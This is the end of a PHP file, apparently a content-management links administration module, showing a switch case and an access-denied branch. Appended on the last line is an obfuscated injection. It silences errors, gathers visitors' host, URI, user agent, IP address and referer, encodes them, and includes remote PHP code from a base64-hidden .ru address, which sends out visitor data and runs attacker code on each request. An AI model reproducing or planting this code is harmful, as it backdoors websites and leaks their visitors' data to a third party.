    LinksTransfer($cidfrom,$cidto);
    break;

}

} else {
    echo "Access Denied";
}

error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?>